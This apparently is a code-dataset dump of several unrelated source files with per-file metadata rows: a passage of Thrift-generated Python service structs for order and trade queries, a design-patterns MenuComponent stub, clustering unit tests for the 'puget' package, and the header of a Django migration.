if ftype == TType.STRUCT:
self.success = nautilus.common.ttypes.Response()
self.success.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('QryPosition_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class QryOrders_args:
"""
Attributes:
- req
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'req', (nautilus.common.ttypes.Request, nautilus.common.ttypes.Request.thrift_spec), None, ), # 1
)
def __init__(self, req=None,):
self.req = req
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.req = nautilus.common.ttypes.Request()
self.req.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('QryOrders_args')
if self.req is not None:
oprot.writeFieldBegin('req', TType.STRUCT, 1)
self.req.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.req is None:
raise TProtocol.TProtocolException(message='Required field req is unset!')
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.req)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class QryOrders_result:
"""
Attributes:
- success
"""
thrift_spec = (
(0, TType.STRUCT, 'success', (nautilus.common.ttypes.RtnOrders, nautilus.common.ttypes.RtnOrders.thrift_spec), None, ), # 0
)
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = nautilus.common.ttypes.RtnOrders()
self.success.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('QryOrders_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class QryTrades_args:
"""
Attributes:
- req
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'req', (nautilus.common.ttypes.Request, nautilus.common.ttypes.Request.thrift_spec), None, ), # 1
)
def __init__(self, req=None,):
self.req = req
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.req = nautilus.common.ttypes.Request()
self.req.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('QryTrades_args')
if self.req is not None:
oprot.writeFieldBegin('req', TType.STRUCT, 1)
self.req.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.req is None:
raise TProtocol.TProtocolException(message='Required field req is unset!')
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.req)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class QryTrades_result:
"""
Attributes:
- success
"""
thrift_spec = (
(0, TType.STRUCT, 'success', (nautilus.common.ttypes.RtnTrades, nautilus.common.ttypes.RtnTrades.thrift_spec), None, ), # 0
)
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = nautilus.common.ttypes.RtnTrades()
self.success.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('QryTrades_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class QryAuditOrders_args:
"""
Attributes:
- qryStep
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'qryStep', (nautilus.common.ttypes.QryStep, nautilus.common.ttypes.QryStep.thrift_spec), None, ), # 1
)
def __init__(self, qryStep=None,):
self.qryStep = qryStep
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.qryStep = nautilus.common.ttypes.QryStep()
self.qryStep.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('QryAuditOrders_args')
if self.qryStep is not None:
oprot.writeFieldBegin('qryStep', TType.STRUCT, 1)
self.qryStep.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.qryStep is None:
raise TProtocol.TProtocolException(message='Required field qryStep is unset!')
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.qryStep)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class QryAuditOrders_result:
"""
Attributes:
- success
"""
thrift_spec = (
(0, TType.STRUCT, 'success', (nautilus.common.ttypes.RtnOrders, nautilus.common.ttypes.RtnOrders.thrift_spec), None, ), # 0
)
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = nautilus.common.ttypes.RtnOrders()
self.success.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('QryAuditOrders_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class PullOrders_args:
"""
Attributes:
- req
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'req', (nautilus.common.ttypes.Request, nautilus.common.ttypes.Request.thrift_spec), None, ), # 1
)
def __init__(self, req=None,):
self.req = req
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.req = nautilus.common.ttypes.Request()
self.req.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('PullOrders_args')
if self.req is not None:
oprot.writeFieldBegin('req', TType.STRUCT, 1)
self.req.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.req is None:
raise TProtocol.TProtocolException(message='Required field req is unset!')
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.req)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class PullOrders_result:
"""
Attributes:
- success
"""
thrift_spec = (
(0, TType.STRUCT, 'success', (nautilus.common.ttypes.RtnOrders, nautilus.common.ttypes.RtnOrders.thrift_spec), None, ), # 0
)
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = nautilus.common.ttypes.RtnOrders()
self.success.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('PullOrders_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class PullTrades_args:
"""
Attributes:
- req
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'req', (nautilus.common.ttypes.Request, nautilus.common.ttypes.Request.thrift_spec), None, ), # 1
)
def __init__(self, req=None,):
self.req = req
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.req = nautilus.common.ttypes.Request()
self.req.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('PullTrades_args')
if self.req is not None:
oprot.writeFieldBegin('req', TType.STRUCT, 1)
self.req.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.req is None:
raise TProtocol.TProtocolException(message='Required field req is unset!')
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.req)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class PullTrades_result:
"""
Attributes:
- success
"""
thrift_spec = (
(0, TType.STRUCT, 'success', (nautilus.common.ttypes.RtnTrades, nautilus.common.ttypes.RtnTrades.thrift_spec), None, ), # 0
)
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = nautilus.common.ttypes.RtnTrades()
self.success.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('PullTrades_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
| 29.66967 | 188 | 0.669914 | 4,576 | 39,520 | 5.538899 | 0.034091 | 0.032747 | 0.027697 | 0.054131 | 0.880494 | 0.844512 | 0.822852 | 0.807386 | 0.802809 | 0.802809 | 0 | 0.003952 | 0.212551 | 39,520 | 1,331 | 189 | 29.691961 | 0.810508 | 0.019534 | 0 | 0.837117 | 1 | 0 | 0.031251 | 0.000549 | 0 | 0 | 0 | 0 | 0 | 1 | 0.148075 | false | 0.00691 | 0.005923 | 0.034551 | 0.297137 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
858830bdb14794818f5cc62d8b3cb9cf382866f1 | 652 | py | Python | 9_iterator&composite/composite/menu_component.py | hypersport/Head-First-Design-Patterns-Python | 0c8b831ae89ebbbef8b203b96508deb7e3063590 | [
"MIT"
] | null | null | null | 9_iterator&composite/composite/menu_component.py | hypersport/Head-First-Design-Patterns-Python | 0c8b831ae89ebbbef8b203b96508deb7e3063590 | [
"MIT"
] | null | null | null | 9_iterator&composite/composite/menu_component.py | hypersport/Head-First-Design-Patterns-Python | 0c8b831ae89ebbbef8b203b96508deb7e3063590 | [
"MIT"
] | null | null | null | class MenuComponent:
def add(self, menu_component):
raise Exception('Unsupported Operation')
def remove(self, menu_component):
raise Exception('Unsupported Operation')
def get_child(self, i):
raise Exception('Unsupported Operation')
def get_name(self):
raise Exception('Unsupported Operation')
def get_price(self):
raise Exception('Unsupported Operation')
def get_description(self):
raise Exception('Unsupported Operation')
def is_vegetarian(self):
raise Exception('Unsupported Operation')
def print_(self):
raise Exception('Unsupported Operation')
| 26.08 | 48 | 0.680982 | 68 | 652 | 6.411765 | 0.308824 | 0.256881 | 0.458716 | 0.623853 | 0.823395 | 0.736239 | 0.449541 | 0.247706 | 0 | 0 | 0 | 0 | 0.226994 | 652 | 24 | 49 | 27.166667 | 0.865079 | 0 | 0 | 0.470588 | 0 | 0 | 0.257669 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.470588 | false | 0 | 0 | 0 | 0.529412 | 0.058824 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
85a18b3dcc347ed8666898fe0c76b31cbc3e8928 | 14,096 | py | Python | puget/tests/test_cluster.py | jmhernan/puget | 76cd54eb2d9017564267fbe56c6076f977a9cb13 | [
"BSD-2-Clause"
] | 1 | 2016-11-18T01:36:06.000Z | 2016-11-18T01:36:06.000Z | puget/tests/test_cluster.py | jmhernan/puget | 76cd54eb2d9017564267fbe56c6076f977a9cb13 | [
"BSD-2-Clause"
] | 10 | 2017-05-12T21:11:27.000Z | 2019-03-28T20:48:46.000Z | puget/tests/test_cluster.py | jmhernan/puget | 76cd54eb2d9017564267fbe56c6076f977a9cb13 | [
"BSD-2-Clause"
] | 2 | 2017-05-12T20:22:28.000Z | 2018-02-15T21:59:44.000Z |
import numpy as np
import numpy.testing as npt
import pandas as pd
import pandas.util.testing as pdt
import puget.cluster as cluster
def test_cluster_by_groups():
# In the first case, all individuals are linked through a chain of
# co-occurrences:
df1 = pd.DataFrame({'individual_var': [1, 200, 3, 100, 1, 200, 3, 100],
'group_var': [1, 1, 2, 2, 1, 2, 1, 2]})
for sparse in [True, False]:
T = cluster.groups_co_occurrence(df1, 'individual_var', 'group_var',
sparse=sparse)
if sparse:
T = T.toarray()
true_T = np.array([[0, 1, 1, 0], [1, 0, 2, 1], [1, 2, 0, 1],
[0, 1, 1, 0]])
npt.assert_equal(T, true_T)
# Individual IDs are arbitrary (can be 100, 200, etc.):
df1_out = cluster.cluster(df1,
'individual_var',
group_var='group_var',
sparse=sparse)
true_df1_out = pd.DataFrame({'individual_var': [1, 200, 3, 100,
1, 200, 3, 100],
'group_var': [1, 1, 2, 2, 1, 2, 1, 2],
'cluster': [1, 1, 1, 1, 1, 1, 1, 1]})
pdt.assert_frame_equal(df1_out.sort_index(axis=1),
true_df1_out.sort_index(axis=1))
# In the second case, individuals are unlinked into two clusters:
df2 = pd.DataFrame({'individual_var': [1, 2, 3, 4, 1, 2, 3, 4],
'group_var': [1, 1, 3, 3, 1, 1, 3, 3]})
T = cluster.groups_co_occurrence(df2,
'individual_var',
'group_var',
sparse=sparse)
if sparse:
T = T.toarray()
true_T = np.array([[0, 1, 0, 0],
[1, 0, 0, 0],
[0, 0, 0, 1],
[0, 0, 1, 0]])
T = cluster.groups_co_occurrence(df2, 'individual_var', 'group_var')
npt.assert_equal(T, true_T)
# Cluster's are designated as [1, 2, 3, ...], even while the group
# variable can have arbitrary values (e.g., [1, 3, 100003, ...]):
df2_out = cluster.cluster(df2,
'individual_var',
group_var='group_var',
sparse=sparse)
true_df2_out = pd.DataFrame({'individual_var': [1, 2, 3, 4, 1, 2, 3, 4],
'group_var': [1, 1, 3, 3, 1, 1, 3, 3],
'cluster': [1, 1, 2, 2, 1, 1, 2, 2]})
pdt.assert_frame_equal(df2_out.sort_index(axis=1),
true_df2_out.sort_index(axis=1))
def test_cluster_by_time():
df1 = pd.DataFrame({'individual_var': [1, 200, 3, 100, 1, 200, 3, 100],
'time_var1': pd.to_datetime(['2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10',
'2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10']),
'time_var2': pd.to_datetime(['2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10'])})
T = cluster.time_co_occurrence(df1, 'individual_var', ['time_var1'])
true_T = np.array([[0, 1, 0, 0], [1, 0, 0, 0], [0, 0, 0, 1], [0, 0, 1, 0]])
npt.assert_equal(T, true_T)
# The first test-case uses only one time variable to establish linkage:
df1_out = cluster.cluster(df1, 'individual_var', time_var=['time_var1'])
true_df1_out = pd.DataFrame({'individual_var': [1, 200, 3, 100,
1, 200, 3, 100],
'time_var1': pd.to_datetime(['2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10',
'2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10']),
'time_var2': pd.to_datetime(['2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10']),
'cluster': [1, 1, 2, 2, 1, 1, 2, 2]})
pdt.assert_frame_equal(df1_out.sort_index(axis=1),
true_df1_out.sort_index(axis=1))
# In the second test-case, all individuals are linked through a crossing
# Of the two different time-variables used for clustering:
T = cluster.time_co_occurrence(df1, 'individual_var', ['time_var1',
'time_var2'])
true_T = np.array([[0, 1, 1, 0], [1, 0, 0, 1], [1, 0, 0, 1], [0, 1, 1, 0]])
npt.assert_equal(T, true_T)
df1_out = cluster.cluster(df1, 'individual_var', time_var=['time_var1',
'time_var2'])
true_df1_out = pd.DataFrame({'individual_var': [1, 200, 3, 100,
1, 200, 3, 100],
'time_var1': pd.to_datetime(['2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10',
'2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10']),
'time_var2': pd.to_datetime(['2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10']),
'cluster': [1, 1, 1, 1, 1, 1, 1, 1]})
pdt.assert_frame_equal(df1_out.sort_index(axis=1),
true_df1_out.sort_index(axis=1))
def test_cluster_w_both():
df1 = pd.DataFrame({'individual_var': [1, 200, 3, 100, 1, 200, 30, 1000],
'group_var': [1, 1, 4, 5, 1, 1, 3, 3],
'time_var1': pd.to_datetime(['2001-01-13',
'2001-01-13',
'1999-06-10',
'1999-06-10',
'2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10']),
'time_var2': pd.to_datetime(['2001-01-13',
'2003-06-10',
'1999-01-13',
'1999-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10'])})
# The first test-case uses only one time variable to establish linkage:
df1_out = cluster.cluster(df1, 'individual_var', time_var=['time_var1'],
group_var='group_var')
true_df1_out = pd.DataFrame({'individual_var': [1, 200, 3, 100,
1, 200, 30, 1000],
'group_var': [1, 1, 4, 5, 1, 1, 3, 3],
'time_var1': pd.to_datetime(['2001-01-13',
'2001-01-13',
'1999-06-10',
'1999-06-10',
'2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10']),
'time_var2': pd.to_datetime(['2001-01-13',
'2003-06-10',
'1999-01-13',
'1999-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10']),
'cluster': [1, 1, 2, 2, 1, 1, 3, 3]})
pdt.assert_frame_equal(df1_out.sort_index(axis=1),
true_df1_out.sort_index(axis=1))
def test_cluster_w_nulls():
df1 = pd.DataFrame({'individual_var': [1, 200, 3, 100, 1, 200, 30, 1000],
'group_var': [1, 1, np.nan, 5, 1, 1, 3, 3],
'time_var1': pd.to_datetime([np.nan,
'2001-01-13',
'1999-06-10',
'1999-06-10',
'2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10']),
'time_var2': pd.to_datetime(['2001-01-13',
'2003-06-10',
'1999-01-13',
'1999-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10'])})
df1_out = cluster.cluster(df1, 'individual_var', time_var=['time_var1'],
group_var='group_var')
true_df1_out = pd.DataFrame({'individual_var': [1, 200, 3, 100,
1, 200, 30, 1000],
'group_var': [1, 1, np.nan, 5, 1, 1, 3, 3],
'time_var1': pd.to_datetime([np.nan,
'2001-01-13',
'1999-06-10',
'1999-06-10',
'2001-01-13',
'2001-01-13',
'2003-06-10',
'2003-06-10']),
'time_var2': pd.to_datetime(['2001-01-13',
'2003-06-10',
'1999-01-13',
'1999-06-10',
'2001-01-13',
'2003-06-10',
'2001-01-13',
'2003-06-10']),
'cluster': [1, 1, 2, 2, 1, 1, 3, 3]})
pdt.assert_frame_equal(df1_out.sort_index(axis=1),
true_df1_out.sort_index(axis=1))
| 56.83871 | 80 | 0.283768 | 1,196 | 14,096 | 3.198161 | 0.090301 | 0.058562 | 0.104575 | 0.106667 | 0.882876 | 0.873464 | 0.856209 | 0.831895 | 0.818562 | 0.796078 | 0 | 0.23938 | 0.610883 | 14,096 | 247 | 81 | 57.068826 | 0.457976 | 0.042352 | 0 | 0.82439 | 0 | 0 | 0.132201 | 0 | 0 | 0 | 0 | 0 | 0.04878 | 1 | 0.019512 | false | 0 | 0.02439 | 0 | 0.043902 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
85c7caaa5cc26e869e56c9345f32c5fe82659ce1 | 2,227 | py | Python | mayan/apps/appearance/migrations/0016_auto_20220321_0955.py | ercusz/Mayan-EDMS | 46accc39f3f252c43b8d9d2b19478ae7f13bd11d | [
"Apache-2.0"
] | null | null | null | mayan/apps/appearance/migrations/0016_auto_20220321_0955.py | ercusz/Mayan-EDMS | 46accc39f3f252c43b8d9d2b19478ae7f13bd11d | [
"Apache-2.0"
] | null | null | null | mayan/apps/appearance/migrations/0016_auto_20220321_0955.py | ercusz/Mayan-EDMS | 46accc39f3f252c43b8d9d2b19478ae7f13bd11d | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.2.24 on 2022-03-21 02:55
